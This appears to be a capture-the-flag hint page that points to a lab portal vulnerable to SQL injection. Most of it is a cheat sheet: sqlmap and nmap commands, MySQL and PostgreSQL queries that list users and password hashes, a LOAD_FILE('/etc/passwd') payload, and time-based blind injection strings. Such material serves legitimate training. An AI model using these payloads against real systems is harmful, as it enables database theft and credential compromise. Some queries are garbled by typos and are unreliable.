FLAG ID: FF4

Dear,

Hint: http://192.168.3.110:8080 website is the Wonka's Talent Link. This portal is restricted but it seems to be vulnerable to SQL injection…

What is SQL Injection?

SQL injection is a code injection technique used to attack data-driven applications, in which malicious SQL statements are inserted into an entry field for execution.

SQL injection attacks allow attackers to spoof identity, tamper with existing data, cause repudiation issues such as voiding transactions or changing balances, allow the complete disclosure of all data on the system, destroy the data or make it otherwise unavailable, and become administrators of the database server.

SQL injection (SQLi) was considered one of the top 10 web application vulnerabilities of 2007 and 2010 by the Open Web Application Security Project. In 2013, SQLI was rated the number one attack on the OWASP top ten.

Sincerely,

Willy Wonka

Automated tools	
SQLMAP	sqlmap -u "url" --forms --batch --crawl=10 --level=5 --risk=3
NMAP	nmap -p 80 --script=http-sql-injection --script-args=httpspider.maxpagecount=200 <target>

MySQL	
Version	SELECT @@version;
Comments	// ou #
Current user	SELECT user(); || SELECT system_user()
List users	SELECT user FROM mysql.user;
List password hashes	SELECT host, user, password FROM mysql.user;
Current database	SELECT database()
List database	SELECT schema_name FROM information_schema.schemata; || SELECT disctinct(db) FROM mysql.db
List tables	SELECT table_schema,table_name FROM information_schema.tables WHERE table_schema != 'mysql' AND table_schema != 'information_schema'
List Collumns	SELECT table_schema, table_name, column_name FROM information_schema.columns WHERE table_schema != 'mysql' AND table_schema != 'information_schema'
Find Tables From Column Name	SELECT table_schema, table_name FROM information_schema.columns WHERE column_name = 'username';
Time delay	SELECT BENCHMARK(1000000,MD5('A'));SELECT SLEEP(5); # >= 5.0.12
Local File Access	…' UNION ALL SELECT LOAD_FILE('/etc/passwd') --
Hostname/IP Address	SELECT @@hostname;
Create user	CREATE USER test1 IDENTIFIED BY 'pass1'; --
Delete user	DROP USER test1; --
Location of the db file	SELECT @@datadir;

SQLMAP
sqlmap -u "url" -DBS
sqlmap -u "url" -table -D [database]
sqlmap -u "url" -columns -D [database] -T [table]
sqlmap -u "url" -dump -D [database] -T [table]

Manual Attack	
Quick detect INTEGERS	select 1 and row(1,1)>(select count(),concat(CONCAT(@@VERSION),0x3a,floor(rand()2))x from (select 1 union select 2)a group by x limit 1))
Quick detect STRINGS	+(select 1 and row(1,1)>(select count(),concat(CONCAT(@@VERSION),0x3a,floor(rand()2))x from (select 1 union select 2)a group by x limit 1))+'
Clear SQL Test	product.php?id=4 product.php?id=5-1 product.php?id=4 OR 1=1 product.php?id=-1 OR 17-7=10
Blind SQL Injection	SLEEP(25)-- SELECT BENCHMARK(1000000,MD5('A'));
Real world sample	ProductID=1 OR SLEEP(25)=0 LIMIT 1-- ProductID=1) OR SLEEP(25)=0 LIMIT 1-- ProductID=1' OR SLEEP(25)=0 LIMIT 1-- ProductID=1') OR SLEEP(25)=0 LIMIT 1-- ProductID=1)) OR SLEEP(25)=0 LIMIT 1-- ProductID=SELECT SLEEP (25)--

PostgreSQL	
Version	SELECT version()
Comments	-comment | / comment /
Current user	SELECT user; SELECT current_user; SELECT session_user; SELECT usename FROM pg_user; SELECT getpgusername();
List users	SELECT usename FROM pg_user
List DBA Accounts	SELECT usename FROM pg_user WHERE usesuper IS TRUE
List password hashes	SELECT usename, passwd FROM pg_shadow –priv
Current database	SELECT current_database()